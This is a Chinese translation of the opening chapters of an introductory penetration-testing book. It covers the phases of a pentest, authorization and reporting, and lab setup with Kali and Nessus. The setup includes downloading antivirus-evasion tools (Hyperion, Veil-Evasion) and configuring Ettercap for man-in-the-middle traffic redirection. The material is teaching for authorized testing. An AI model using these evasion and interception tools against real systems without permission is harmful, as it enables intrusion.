渗透测试指南-全-

渗透测试指南（全）

原文：zh.annas-archive.org/md5/a201d6221e8a2a222530ba7ddf1b1981

译者：飞龙

协议：CC BY-NC-SA 4.0

前言

我决定写这本书，是因为它正是我在刚入门信息安全时希望拥有的那种书籍。尽管如今比我刚开始时有更多的信息丰富的网站，但我仍然觉得初学者很难知道该先读什么，以及从哪里获得所需的基础技能。同样，市场上有很多书籍——一些很棒的关于高级主题的书籍，它们需要一定的背景知识；也有许多很好的针对初学者的书籍，涵盖了大量理论。然而，我并没有找到一本能够对那些发邮件给我、寻找入门路径的渗透测试学者说清楚所有我想说的话的书。

在我的教学生涯中，我一直发现我最喜欢教授的课程是《渗透测试入门》。学生们总是渴求知识，和他们在一起总是非常有趣。因此，当 No Starch Press 公司邀请我写书时，我提议的就是这本书。当我宣布写书时，很多人认为我会写一本关于移动安全的书，虽然我曾考虑过这个话题，但我认为《渗透测试入门》更能对我最想接触的读者群体产生最大的影响。

感谢致辞

一本像这样的书，如果没有信息安全社区多年来的辛勤工作，是无法实现的。本书中讨论的工具和技术是我和我的同事在实际工作中常用的一些工具，它们是全球各地的渗透测试人员和其他安全专家共同努力开发的。我参与了一些开源项目（例如我们将在漏洞开发章节中使用的 Mona.py），希望这本书能激励你也为此做出贡献。

我想借此机会感谢 Offensive Security 公司，感谢他们创造并维护了 Kali Linux 渗透测试发行版，这一发行版在这个领域和本书中得到了广泛应用。同时，也要特别感谢 Metasploit Framework 的核心开发人员以及众多社区贡献者。还要感谢所有那些与社区分享他们的知识、发现和技术的渗透测试员和研究人员，正是因为有了这些共享，才能帮助我们更有效地评估客户的安全态势，也让像我这样的教师能在教学中使用这些技术。

还要感谢那些伟大的书籍、博客文章、课程等的创作者，它们帮助我实现了成为一名专业渗透测试员的目标。现在，我希望能将我获得的知识分享给其他有志于成为渗透测试员的人。

在本书的最后，你将找到一些额外资源的列表（包括课程和博客）。这些资源是我在信息安全领域的个人学习旅程中发现的对我帮助很大的资源，我鼓励你们使用它们来进一步了解本书中涵盖的各种渗透测试主题。希望你们的学习之旅能够像我一样充满乐趣。

关于本书

为了完成本书中的内容，你只需要知道如何在计算机上安装软件。就这些。你不需要成为 Linux 专家，也不需要了解网络协议的细节。当你遇到不熟悉的话题时，如果需要，我鼓励你进行一些额外的研究——但我们将一步步地走过所有可能对你来说是新鲜的工具和技术，从 Linux 命令行开始。当我刚接触信息安全时，我做过的最接近黑客的事，就是让 Windows XP 的 SP2 之前版本的开始菜单显示Georgia而不是Start。那时我为自己感到非常骄傲。

然后我参加了大学生网络防御比赛，所有红队成员都在快速使用命令行，并且通过远程操作让我的桌面弹出窗口。我当时只知道我想像他们一样。此后我经历了很多艰苦的努力，今后也会有更多的努力，因为我希望达到信息安全的最高水平。我只希望通过本书，我能激励更多人走上相同的道路。

第一部分：基础知识

在渗透测试入门中，我们首先介绍了渗透测试各个阶段的一些基本定义。在第一章中，我们建立了一个小型实践实验室，接下来我们将用这个实验室来完成本书中的练习。对于许多书籍，你可以直接下载一些程序到现有平台，但为了模拟渗透测试，我们的方法稍微复杂一些。我建议你花时间搭建好实验室，并与我一起完成这些实际操作练习。虽然本书可以作为在工作中参考和提醒，但我认为最好还是先在家练习渗透测试技巧。

在第二章中，我们从使用 Kali Linux 和一般的 Linux 操作系统的基础知识开始。接下来，第三章将介绍编程基础。一些读者可能已经在这些领域有一定的工作经验，可以跳过这些内容。当我刚开始时，我有一些 C 和 Java 编程经验，但我没有脚本编程的背景，也几乎没有 Linux 的背景——这是大多数黑客教程所假设的技能。因此，我在这里提供了一个入门指南。如果你对这些内容不熟悉，请继续在本书之外进行学习。基于 Linux 的操作系统在移动设备和网络服务平台中越来越普及，因此即使你不从事信息安全行业，掌握这些技能对你仍然有益。同样，知道如何编写脚本来自动化常见任务也会让你的工作更轻松，无论你的职业是什么。

我们在第四章中，学习使用 Metasploit 框架的基础知识，这是我们在本书中将持续使用的工具。虽然我们也会学习如何在没有 Metasploit 的情况下执行许多任务，但它是许多渗透测试工程师常用的工具，并且不断发展，纳入最新的威胁和技术。

第二部分：评估

接下来，我们开始进行模拟渗透测试。在第五章中，我们通过搜索公开的在线信息以及与目标系统交互，开始收集关于目标的数据。然后，我们通过查询系统和研究第六章中的内容，开始搜索漏洞。在第七章中，我们探讨了捕获可能包含敏感数据的流量的技术。

第三部分：攻击

接下来，在第八章中，我们通过多种工具和技术，利用我们在网络中发现的漏洞进行攻击，包括 Metasploit 和纯手工的利用方法。然后，在第九章中，我们研究攻击网络安全中通常最薄弱环节——密码管理的方法。

接下来，我们探讨一些更高级的利用技巧。并非所有漏洞都存在于网络中监听的服务中。网页浏览器、PDF 阅读器、Java、Microsoft Office——这些都曾经遭受过安全问题。当客户端更加努力地保护其网络时，攻击客户端软件可能成为进入网络的关键。我们在第十章中讨论如何利用客户端攻击。在第十一章中，我们将客户端攻击与社会工程学结合起来，或是攻击人类因素——环境中无法打补丁的部分。毕竟，在客户端攻击中，相关软件必须打开某种恶意文件，因此我们必须说服用户帮助我们。在第十二章中，我们探讨绕过杀毒软件的一些方法，因为许多客户会部署杀毒软件。如果你在系统中拥有足够的权限，你可能可以直接关闭杀毒程序，但一个更好的解决方案是悄无声息地绕过杀毒程序不被发现，即使你将恶意程序保存到硬盘中也能做到这一点。

在第十三章中，我们进入渗透测试的下一阶段——后期利用。有人说渗透测试真正开始于漏洞利用之后。此时你会利用你的访问权限，寻找其他可攻击的系统、敏感信息等。如果你继续深入渗透测试的学习，你会花费大量时间研究最新的后期利用技术。

在后期利用阶段，我们将介绍一些你成为全能渗透测试员所需的额外技能。我们将简要了解如何评估第十四章中定制 Web 应用程序的安全性。如今每个人都有网站，所以这是一个值得培养的技能。接下来，我们将讨论如何评估无线网络的安全性，内容在第十五章中，重点介绍破解常见加密系统的方法。

第四部分：漏洞开发

第十六章, 第十七章, 第十八章，以及第十九章将讨论编写自己漏洞利用代码的基础知识。我们将探讨如何发现漏洞，利用常见技术进行攻击，甚至编写自己的 Metasploit 模块。在这些章节之前，我们依赖于工具和公开的漏洞利用代码来进行大部分练习。随着你在信息安全领域的深入，你可能会想找到新的漏洞（即零日漏洞），并将其报告给厂商以获取潜在奖励。然后，你可以发布一个公开的漏洞利用代码和/或 Metasploit 模块，帮助其他渗透测试员测试他们客户环境中的此类问题。

第五部分：移动黑客

最后，在第二十章中，我们将结束对渗透测试的相对新领域——评估移动设备安全性的探讨。我们将介绍我自己的工具——智能手机渗透测试框架。也许在掌握了本书中的技能之后，你会努力开发并发布你自己的安全工具。

当然，这本书并没有涵盖信息安全的每一个方面，也没有涵盖每一个工具或技术。如果涵盖了这些内容，这本书将会长得多，并且发布时间也会推迟，而且我还得回去做我的研究。所以，这本书就是这样：一本实用的黑客入门书。能够和你一起走上信息安全的这一步，我感到非常荣幸。我希望你能从这本书中学到很多，并且希望它能激励你继续深入学习，成为这个充满活力、快速发展的领域中的一员。

第一章：渗透测试概述

渗透测试，或称为pentesting（不要与测试圆珠笔或钢笔混淆），涉及模拟真实攻击以评估潜在安全漏洞的风险。在一次渗透测试中（与漏洞评估不同），测试人员不仅发现攻击者可能利用的漏洞，还会尽可能利用这些漏洞，评估攻击者成功利用漏洞后可能获得的权限。

时不时地，新闻报道会披露某大公司遭遇网络攻击的事件。通常，攻击者并没有使用最新的零日漏洞（软件发布者尚未修补的漏洞）。许多拥有庞大安全预算的大公司也会因其网站存在 SQL 注入漏洞、员工遭受社会工程学攻击、面向互联网服务的弱密码等问题而受到攻击。换句话说，公司正在通过本可以修复的安全漏洞泄露专有数据，暴露客户的个人信息。在一次渗透测试中，我们会在攻击者之前发现这些问题，并推荐如何修复它们，避免未来出现漏洞。

渗透测试的范围因客户而异，任务也会有所不同。一些客户的安全态势非常优秀，而另一些客户则可能存在漏洞，使得攻击者能够突破外围防护，获取内部系统的访问权限。

你可能还会被要求评估一个或多个定制的 Web 应用程序。你可能会执行社会工程学和客户端攻击，以获得客户内部网络的访问权限。一些渗透测试要求你像一个内部人员一样行事——一个已经突破外围防护的恶意员工或攻击者——进行内部渗透测试。有些客户会要求进行外部渗透测试，即模拟通过互联网发起的攻击。而有些客户可能希望你评估他们办公室无线网络的安全性。在某些情况下，你甚至可能会审计客户的物理安全控制。

渗透测试的阶段

渗透测试从前期接洽阶段开始，这一阶段涉及与客户讨论他们对渗透测试的目标，制定测试范围（测试的范围和参数）等内容。当渗透测试人员和客户就范围、报告格式及其他事项达成一致后，实际测试工作就可以开始了。

在信息收集阶段，渗透测试人员会搜索客户的公开信息，并识别潜在的连接系统方式。在威胁建模阶段，测试人员利用这些信息来确定每个发现的价值，以及如果这些发现使攻击者能够突破系统，客户将面临的影响。这一评估帮助渗透测试人员制定行动计划和攻击方法。

在渗透测试者开始攻击系统之前，他或她会执行漏洞分析。在这个阶段，渗透测试者会尝试发现可以在利用阶段被利用的系统漏洞。一次成功的漏洞利用可能会进入后利用阶段，在这一阶段，利用的结果被用来找到更多的信息、敏感数据、访问其他系统等。

最后，在报告阶段，渗透测试者会为高层管理和技术从业人员总结测试结果。

注意事项

有关渗透测试的更多信息，可以从渗透测试执行标准（PTES）开始，访问 www.pentest-standard.org/。

预 engagement

在渗透测试开始之前，渗透测试人员会与客户进行预 engagement 互动，以确保双方对渗透测试的目标达成一致。渗透测试人员与期望仅进行简单漏洞扫描的客户之间的误解，可能会导致尴尬的局面，因为渗透测试比简单的漏洞扫描要侵入性强得多。

预 engagement 阶段是你应该花时间了解客户的渗透测试业务目标的时刻。如果这是他们的第一次渗透测试，是什么促使他们找渗透测试人员？他们最担心的暴露风险是什么？他们是否有任何需要小心测试的脆弱设备？（我遇到过各种设备，从风车到连接患者的医疗设备都在网络中。）

询问客户的业务。对他们来说，最重要的是什么？例如，对于一家顶级在线供应商，几小时的停机时间可能意味着数千美元的收入损失。对于一家地方银行，在线银行网站停机几个小时可能会让一些客户感到不满，但这种停机远不如信用卡数据库被攻破那样具有破坏性。对于一家信息安全供应商来说，攻击者在其主页上发布粗鲁的信息，可能会导致声誉受损，并且逐步引发重大收入损失。

在渗透测试的预 engagement 阶段，其他重要的讨论和达成一致的事项包括以下内容：

范围

哪些 IP 地址或主机在测试范围内，哪些不在范围内？客户允许你执行哪些操作？你是否可以使用漏洞并可能导致服务崩溃，还是应该将评估限制为仅检测可能的漏洞？客户是否理解，即便是一个简单的端口扫描也可能导致服务器或路由器崩溃？你是否被允许执行社交工程攻击？

测试窗口

客户可能希望你只在特定时间或某些日期进行测试。

联系信息

如果你发现严重问题，应该联系谁？客户是否希望你 24 小时内联系某个人？他们是否希望你使用加密邮件？

一张“免罪卡”

确保你获得了进行渗透测试的授权。如果目标不属于公司（例如，由第三方托管），请确保验证客户已经获得第三方的正式批准来执行渗透测试。无论如何，确保你的合同中包含一项声明，以限制在出现意外情况时的责任，并获得书面许可来进行测试。

付款条款

你将如何以及何时获得付款，金额是多少？

最后，在你的合同中加入保密协议条款。客户会很感激你书面承诺将渗透测试及其发现内容保密。

信息收集

接下来是信息收集阶段。在此阶段，你分析公开可得的各种信息源，这个过程被称为收集开放源代码情报（OSINT）。你还将开始使用像端口扫描器这样的工具，来了解互联网上或内部网络上有哪些系统存在，以及运行着哪些软件。我们将在第五章中更详细地探讨信息收集。

威胁建模

基于在信息收集阶段获得的知识，我们进入威胁建模阶段。在这里，我们像攻击者一样思考，并根据我们收集到的信息制定攻击计划。例如，如果客户开发了专有软件，攻击者通过访问他们的内部开发系统（源代码开发和测试的地方），并将公司的商业机密出售给竞争对手，可能会给公司带来巨大损失。根据我们在信息收集过程中发现的数据，我们制定渗透客户系统的策略。

漏洞分析

接下来，渗透测试人员开始积极发现漏洞，以确定他们的利用策略可能有多成功。失败的利用可能导致服务崩溃、触发入侵检测警报，或破坏成功利用的机会。在这一阶段，渗透测试人员通常会运行漏洞扫描器，利用漏洞数据库和一系列主动检查来推测客户系统中可能存在的漏洞。但尽管漏洞扫描器是强大的工具，它们无法完全替代批判性思维，因此我们也会在这一阶段进行手动分析，并亲自验证结果。我们将在第六章中更详细地探讨各种漏洞识别工具和技术。

利用

接下来是有趣的部分：利用。在这里，我们会针对已发现的漏洞（有时使用像 Metasploit 这样的工具）进行攻击，试图访问客户的系统。正如你将看到的，某些漏洞会非常容易被利用，例如使用默认密码登录。我们将在第八章中探讨利用过程。

后期利用

有人说，渗透测试真正开始的时刻是在后期利用阶段。你成功入侵了系统，但这次入侵对客户真正意味着什么？如果你入侵了一个没有打补丁的老旧系统，而该系统不在域内或与高价值目标网络不相连，而且该系统不包含攻击者感兴趣的信息，那么该漏洞的风险就远低于你能够攻击到的域控制器或客户的开发系统。

在后期利用阶段，我们收集关于被攻击系统的信息，寻找有趣的文件，必要时尝试提升权限，等等。例如，我们可能会导出密码哈希值，看看是否能够反向破解它们或用它们访问其他系统。我们也可能尝试利用已被攻击的机器，通过跳板攻击之前无法接触的系统。我们将在第十三章中进一步讨论后期利用。

报告

渗透测试的最后阶段是报告阶段。在这一阶段，我们将我们的发现以有意义的方式传达给客户。我们告诉他们哪些做得对，哪些地方需要改进安全态势，如何入侵，发现了什么，如何修复问题，等等。

撰写一份好的渗透测试报告是一门艺术，需要不断的练习才能掌握。你需要清楚地传达你的发现，无论是给负责修复漏洞的 IT 人员，还是签署变更的高层管理人员，或者是外部审计员。例如，如果一个非技术人员读到“然后我用了 MS08-067 来获得一个 shell”，他或她可能会想，“你是说像海贝壳一样吗？”更好的沟通方式是提到你能够访问或更改的私人数据。像“我能读取你的电子邮件”这样的说法几乎能引起每个人的共鸣。

渗透测试报告应包括执行摘要和技术报告，以下章节将进一步讨论。

执行摘要

执行摘要描述了测试的目标，并提供了发现的高层概述。预期的读者是负责安全程序的高层管理人员。你的执行摘要应包括以下内容：

背景。对测试目的的描述，以及对高层管理人员可能不熟悉的术语的定义，例如漏洞和对策。
总体态势。对测试有效性的概述，发现的问题（例如利用 MS08-067 微软漏洞），以及导致漏洞的常见问题，例如缺乏补丁管理。
风险概况。与类似组织相比，组织安全态势的整体排名，可以采用高、低、中等等衡量标准。你还应该包括对排名的解释。
总体发现。识别问题的总体概述，以及已部署反制措施的有效性统计和度量。
建议总结。渗透测试中发现的问题的修复任务的高级概述。
战略路线图。为客户提供短期和长期的安全改进目标。例如，你可能会建议他们立即应用某些补丁来解决短期问题，但如果没有长期的补丁管理计划，客户在新补丁发布后仍然会面临同样的问题。

技术报告

本报告部分提供了测试的技术细节。应包括以下内容：

引言。包括范围、联系人等细节的清单。
信息收集。信息收集阶段的发现细节，特别是客户的互联网足迹。
漏洞评估。漏洞分析阶段的测试发现细节。
利用/漏洞验证。测试中利用阶段的发现细节。
后期利用。测试后期利用阶段的发现细节。
风险/暴露。发现的风险的定量描述。本节估算如果攻击者利用已识别的漏洞，可能造成的损失。
结论。测试的最终概述。

总结

本章简要回顾了渗透测试的各个阶段，包括前期准备、信息收集、威胁建模、漏洞分析、利用、后期利用和报告。熟悉这些阶段对于你开始渗透测试的职业生涯至关重要，你将随着本书的进展了解更多相关内容。

第一部分：基础知识

第一章设置您的虚拟实验室

在本书的学习过程中，您将通过在 VMware 虚拟化软件中运行的虚拟实验室中实践渗透测试的不同工具和技术。我将引导您设置实验室，以便在您的基础操作系统中运行多个操作系统，从而仅用一台物理机器模拟整个网络。我们将利用这个实验室来攻击本书中的目标系统。

安装 VMware

设置虚拟实验室的第一步是下载并安装一个桌面 VMware 产品。VMware Player 提供了适用于 Microsoft Windows 和 Linux 操作系统的个人免费版本（* www.vmware.com/products/player/ ）。VMware 还为 Windows 和 Linux 提供 VMware Workstation（ www.vmware.com/products/workstation/ *），该版本包含额外的功能，比如能够拍摄虚拟机快照，万一操作失误可以恢复到先前状态。VMware Workstation 提供 30 天免费试用，但过后需要购买，或者切换回使用 VMware Player。

Mac 用户可以免费试用 VMware Fusion（* www.vmware.com/products/fusion/ *）30 天，之后只需约 $50。作为一名 Mac 用户，我将在整本书中使用 VMware Fusion，但也提供了 VMware Player 的设置说明。

下载与您的操作系统和架构（32 位或 64 位）匹配的 VMware 版本。如果在安装 VMware 时遇到任何问题，您可以在 VMware 网站上找到丰富的支持资源。

设置 Kali Linux

Kali Linux 是一个基于 Debian 的 Linux 发行版，预装了多种安全工具，我们将在本书中使用这些工具。本书是基于 Kali 1.0.6 版本编写的，这是写作时的最新版本。您可以在本书网站上找到包含 Kali 1.0.6 版本的种子链接（* nostarch.com/pentesting/ *）。随着时间的推移，Kali 会发布更新的版本。如果您愿意，您可以从 * www.kali.org/ * 下载 Kali Linux 的最新版本。然而，请记住，我们在本书中使用的许多工具仍在积极开发中，因此如果您使用更新版本的 Kali，某些练习可能与本书中的操作步骤有所不同。如果您希望一切如书中所述运行，我建议使用种子中提供的 Kali 1.0.6 版本（一个名为 kali-linux-1.0.6-vm-i486.7z 的文件），这是一个预构建的 VMware 镜像，已使用 7-Zip 压缩。

注意

您可以在 * www.7-zip.org/download.html * 找到适用于 Windows 和 Linux 平台的 7-Zip 程序。对于 Mac 用户，我推荐从 * ez7z.en.softonic.com/mac/ * 下载 Ez7z。

一旦 7-Zip 归档文件解压完成，在 VMware 中转到文件 ▸ 打开，并指向解压后的Kali Linux 1.0.6 32 位文件夹中的Kali Linux 1.0.6 32 bit.vmx文件。
一旦虚拟机启动，点击播放按钮，并在如图 1-1 所示的提示下，选择我复制了它。
当 Kali Linux 启动时，您将看到如图 1-2 所示的提示。选择顶部（默认）高亮显示的选项。

图 1-1. 打开 Kali Linux 虚拟机图 1-2. 启动 Kali Linux
一旦 Kali Linux 启动，您将看到一个如图 1-3 所示的登录屏幕。

图 1-3. Kali 登录屏幕
点击其他，并输入 Kali Linux 的默认凭据，root:toor，如图 1-4 所示。然后点击登录按钮。

图 1-4. 登录到 Kali
您将看到如图 1-5 所示的屏幕。

图 1-5. Kali Linux 图形用户界面

配置虚拟机的网络

因为我们将使用 Kali Linux 通过网络攻击我们的目标系统，所以我们需要将所有虚拟机放置在同一个虚拟网络中（我们将在第十三章中看到如何在网络之间移动的示例，该章节讲解了后期利用）。VMware 提供了三种虚拟网络连接选项：桥接、NAT 和仅主机。你应该选择桥接选项，以下是每种选项的一些信息：

桥接网络使用与主机系统相同的连接，将虚拟机直接连接到本地网络。就本地网络而言，我们的虚拟机只是网络上的另一个节点，拥有自己的 IP 地址。
NAT，即网络地址转换，在主机机器上设置一个私有网络。私有网络将虚拟机的外发流量转换为本地网络的流量。在本地网络中，虚拟机的流量将显示为来自主机机器的 IP 地址。
仅主机 网络将虚拟机限制在主机上的局部私有网络中。虚拟机可以与主机仅限网络中的其他虚拟机以及主机本身进行通信，但不能与本地网络或互联网进行任何数据交换。

注意

因为我们的目标虚拟机存在多个已知的安全漏洞，在将它们连接到本地网络时需要小心，因为该网络上的其他人也可能攻击这些机器。因此，我不建议在不信任其他用户的公共网络上通过本书进行操作。

默认情况下，Kali Linux 虚拟机的网络适配器设置为 NAT。以下是如何在 Windows 和 Mac OS 中更改该选项的方法。

Microsoft Windows 上的 VMware Player

要在 Windows 上的 VMware Player 中更改虚拟网络，启动 VMware Player 然后点击你的 Kali Linux 虚拟机。选择 编辑虚拟机设置，如图 1-6 所示。（如果你仍在 VMware Player 中运行 Kali Linux，选择 播放器 ▸ 管理 ▸ 虚拟机设置。）

图 1-6. 更改 VMware 网络适配器

在下一个屏幕上，选择硬件标签中的 网络适配器，然后在 网络连接 部分选择桥接选项，如图 1-7 所示。

图 1-7. 更改网络适配器设置

现在点击 配置适配器 按钮，并勾选你在主机操作系统中使用的网络适配器。如图 1-8 所示，我仅选择了 Realtek 无线适配器。做出选择后，点击确定。

图 1-8. 选择网络适配器

Mac OS 上的 VMware Fusion

要在 VMware Fusion 中更改虚拟网络连接，进入 虚拟机 ▸ 网络适配器，并将设置从 NAT 更改为桥接（如图 1-9 所示）。

图 1-9. 更改网络适配器

连接虚拟机到网络

一旦切换，Kali Linux 应该会自动从桥接网络中获取 IP 地址。要验证你的 IP 地址，点击 Kali 屏幕左上方的终端图标（一个带有符号 >_ 的黑色矩形，或选择 应用程序 ▸ 附件 ▸ 终端）打开 Linux 终端。然后运行命令 ifconfig 查看你的网络信息，如示例 1-1 中所示。

示例 1-1。网络信息

root@kali:~# ifconfig
eth0      Link encap:Ethernet  HWaddr 00:0c:29:df:7e:4d
          inet addr:**192.168.20.9**  Bcast:192.168.20.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fedf:7e4d/64 Scope:Link
--*snip*--

注意

提示符 root@kali:~# 是超级用户（root）提示符。我们将在第二章中学习更多关于这个提示符以及我们在设置过程中使用的其他 Linux 命令。

这台虚拟机的 IPv4 地址是 192.168.20.9，如示例 1-1 中加粗标出的那样。（你的机器的 IP 地址可能会有所不同。）

测试你的互联网访问

现在，让我们确保 Kali Linux 可以连接到互联网。我们将使用 ping 网络工具检查是否能够访问 Google。确保你的计算机已经连接到互联网，打开 Linux 终端并输入以下内容。

root@kali:~# ping www.google.com

如果你看到类似以下的响应，说明你已经联网。（我们将在第三章中进一步了解 ping 命令。）

PING www.google.com (50.0.2.221) 56(84) bytes of data.
64 bytes from cache.google.com (50.0.2.221): icmp_req=1 ttl=60 time=28.7 ms
64 bytes from cache.google.com (50.0.2.221): icmp_req=2 ttl=60 time=28.1 ms
64 bytes from cache.google.com (50.0.2.221): icmp_req=3 ttl=60 time=27.4 ms
64 bytes from cache.google.com (50.0.2.221): icmp_req=4 ttl=60 time=29.4 ms
64 bytes from cache.google.com (50.0.2.221): icmp_req=5 ttl=60 time=28.7 ms
64 bytes from cache.google.com (50.0.2.221): icmp_req=6 ttl=60 time=28.0 ms
--*snip*--

如果没有收到回应，请确保你的网络适配器已设置为桥接模式，Kali Linux 已经获取到 IP 地址，并且你的主机系统当前已连接到互联网。

安装 Nessus

尽管 Kali Linux 几乎包含了我们所需的所有工具，但我们仍然需要安装一些额外的程序。首先，我们将安装 Tenable Security 的 Nessus Home 漏洞扫描器。此扫描器仅限家庭使用（你将在 Nessus 网站上看到相关的限制描述）。请注意，Nessus 在不断积极开发，因此当前的版本以及其图形用户界面（GUI）可能与本书出版时有所不同。

使用以下步骤从 Kali 内部安装 Nessus Home：

打开 应用程序 ▸ 互联网 ▸ Iceweasel Web 浏览器，并在地址栏中输入 www.tenable.com/products/nessus-home/。完成注册获取激活码的相关信息后，点击注册。（请使用真实的电子邮件地址——稍后你会需要激活码。）
一旦进入下载页面，选择适用于 Linux Debian 32 位平台的最新版本 Nessus（截至目前是 Nessus-5.2.5-debian6_i386.deb），并将其下载到你的根目录（默认的下载位置）。
打开 Linux 终端（点击 Kali 屏幕顶部的终端图标）以打开 root 提示符。
输入 ls 查看根目录中的文件列表。你应该能看到刚刚下载的 Nessus 文件。

输入 dpkg -i，后面跟上你下载的文件名（你可以输入文件名的第一个字母并按 Tab 键进行自动补全），然后按回车键开始安装过程。安装可能需要一段时间，因为 Nessus 需要处理各种插件。进度通过一行哈希符号（#）来显示。

Selecting previously unselected package nessus.
(Reading database ... 355024 files and directories currently installed.)
Unpacking nessus (from Nessus-5.2.5-debian6_amd64.deb) ...
Setting up nessus (5.2.5) ...
nessusd (Nessus) 5.2.5 [build N25109] for Linux
Copyright (C) 1998 - 2014 Tenable Network Security, Inc

Processing the Nessus plugins...
[###########                                                ]

一旦你返回到根提示符且没有错误，Nessus 应该已经安装完成，你应该会看到类似下面的信息。

All plugins loaded
Fetching the newest plugins from nessus.org...
Fetching the newest updates from nessus.org...
Done. The Nessus server will start processing these plugins within a minute
nessusd (Nessus) 5.2.5 [build N25109] for Linux
Copyright (C) 1998 - 2014 Tenable Network Security, Inc

Processing the Nessus plugins...
[##################################################]

All plugins loaded

 - You can start nessusd by typing /etc/init.d/nessusd start
 - Then go to https://kali:8834/ to configure your scanner

现在输入以下命令启动 Nessus。
```
root@kali:~# /etc/init.d/nessusd start
```
在 Iceweasel 浏览器中打开网址 https://kali:8834/。你应该会看到一个 SSL 证书警告，类似于图 1-10 中的警告。

注意

如果你从 Kali 中的 Iceweasel 浏览器以外的地方访问 Nessus，你需要改为访问 https://:8834。

图 1-10. 无效的 SSL 证书警告
展开 我理解风险 并点击 添加例外。然后点击 确认安全例外，如图 1-11 所示。

图 1-11. 确认安全例外
在打开的 Nessus 页面左下角点击 开始使用，然后在接下来的页面输入用户名和密码。我在示例中选择了 georgia:password。如果你选择了其他内容，记得保存，因为我们将在第六章中使用 Nessus。（请注意，我在本书中使用了简单的密码，就像你遇到的许多客户一样。在生产环境中，你应该使用比 password 更强的密码。）
在下一页，输入你通过电子邮件从 Tenable Security 获得的激活码。
注册 Tenable Security 后，选择下载插件的选项（下载将需要一些时间）。一旦 Nessus 处理完插件，它将进行初始化。

当 Nessus 下载完插件并配置好软件后，你应该会看到 Nessus 登录屏幕，如图 1-12 所示。你应该能使用在设置过程中创建的账户凭证进行登录。

图 1-12. Nessus 网页界面的登录屏幕

要关闭 Nessus，只需关闭浏览器中的标签页即可。我们将在第六章中再次使用 Nessus。

安装额外的软件

我们还没有完成。请按照这些说明完成 Kali Linux 的安装。

Ming C 编译器

我们需要安装一个交叉编译器，以便将 C 代码编译为可在 Microsoft Windows 系统上运行的程序。Ming 编译器包含在 Kali Linux 仓库中，但默认情况下未安装。使用此命令安装它。

root@kali:~# apt-get install mingw32

Hyperion

我们将使用 Hyperion 加密程序绕过防病毒软件。Hyperion 当前未包含在 Kali 仓库中。使用wget下载 Hyperion，解压并使用在上一步安装的 Ming 跨编译器进行编译，如示例 1-2 所示。

示例 1-2. 安装 Hyperion

root@kali:~# wget http://nullsecurity.net/tools/binary/Hyperion-1.0.zip
root@kali:~# unzip Hyperion-1.0.zip
Archive:  Hyperion-1.0.zip
   creating: Hyperion-1.0/
   creating: Hyperion-1.0/FasmAES-1.0/
root@kali:~# i586-mingw32msvc-c++ Hyperion-1.0/Src/Crypter/*.cpp -o hyperion.exe
--*snip*--

Veil-Evasion

Veil-Evasion 是一个生成有效载荷可执行文件的工具，你可以用它绕过常见的防病毒解决方案。首先使用命令 wget 下载 Veil-Evasion Kali（参见示例 1-3）。接下来，解压下载的文件 master.zip，并切换到 Veil-master/setup 目录。最后，输入 ./setup.sh 并按照默认提示进行操作。

示例 1-3. 安装 Veil-Evasion

root@kali:~# wget https://github.com/ChrisTruncer/Veil/archive/master.zip
--2015-11-26 09:54:10--  https://github.com/ChrisTruncer/Veil/archive/master.zip
--*snip*--
2015-11-26 09:54:14 (880 KB/s) - `master.zip' saved [665425]

root@kali:~# unzip master.zip
Archive:  master.zip
948984fa75899dc45a1939ffbf4fc0e2ede0c4c4
   creating: Veil-Evasion-master/
--*snip*--
  inflating: Veil-Evasion-master/tools/pyherion.py
root@kali:~# cd Veil-Evasion-master/setup
root@kali:~/Veil-Evasion-master/setup# ./setup.sh
=========================================================================
 [Web]: https://www.veil-evasion.com | [Twitter]: @veilevasion
=========================================================================

 [*] Initializing Apt Dependencies Installation
--*snip*—
Do you want to continue? [Y/n]? **Y**
--*snip*--
root@kali:~#

Ettercap

Ettercap 是一个用于执行中间人攻击的工具。在第一次运行它之前，我们需要对其配置文件 /etc/ettercap/etter.conf 进行一些修改。从 Kali root 提示符下用 nano 编辑器打开其配置文件。

root@kali:~# nano /etc/ettercap/etter.conf

首先将 userid 和 groupid 值更改为 0，以便 Ettercap 可以使用 root 权限运行。向下滚动，直到看到文件中的以下行。将等号（=）后面的任何值替换为 0。

[privs]
ec_uid = **0**                # nobody is the default
ec_gid = **0**                # nobody is the default

现在向下滚动到文件的 Linux 部分，在示例 1-4 中，取消注释（去掉前面的 # 字符）❶ 和 ❷ 所示的两行，以设置 Iptables 防火墙规则以重定向流量。

示例 1-4. Ettercap 配置文件

#---------------
#     Linux
#---------------

# if you use ipchains:
   #redir_command_on = "ipchains -A input -i %iface -p tcp -s 0/0 -d 0/0 %port -j REDIRECT %rport"
   #redir_command_off = "ipchains -D input -i %iface -p tcp -s 0/0 -d 0/0 %port -j REDIRECT %rport"

# if you use iptables:
   ❶ redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j
     REDIRECT    --to-port %rport"
   ❷ redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j
     REDIRECT    --to-port %rport"

按下 ctrl-X 然后按 Y 保存更改并退出文件。

设置 Android 模拟器

现在我们将在 Kali 上设置三个 Android 模拟器，用于第二十章的移动测试。首先，我们需要下载 Android SDK。

从 Kali 中打开 Iceweasel 浏览器，访问 developer.android.com/sdk/index.html。
下载当前版本的适用于 32 位 Linux 的 ADT 包并保存到根目录。
打开终端，列出其中的文件（ls），并使用 unzip 解压刚刚下载的压缩文件（x 代表你的文件名，因为版本可能在写作时已经发生变化）。
```
root@kali:~# unzip adt-bundle-Linux-x86-*xxxxxxxxxxx***.zip**
```
现在使用 cd 进入新目录（文件名相同，去掉 .zip 扩展名）。
```
# cd sdk/tools
# ./android
```
Android SDK 管理器应该会打开，如图 1-13 所示。

图 1-13. Android SDK 管理器

我们将下载 Android SDK 工具和 Android SDK 平台工具的所有更新（默认已选中），以及 Android 4.3 和几个具有特定漏洞的旧版本 Android，即 Android 2.2 和 Android 2.1。选中每个 Android 版本左侧的框。然后（保持 Updates/New 和 Installed 选中）点击 Install packages，如图 1-14 所示。接受许可协议，Android SDK 应该会下载并安装所选的包。安装过程可能需要几分钟。

图 1-14. 安装 Android 软件

现在是时候设置我们的 Android 虚拟设备了。打开 Android SDK 管理器，选择 Tools ▸ Manage AVDs。你应该能看到如图 1-15 所示的窗口。

图 1-15. Android 虚拟设备管理器

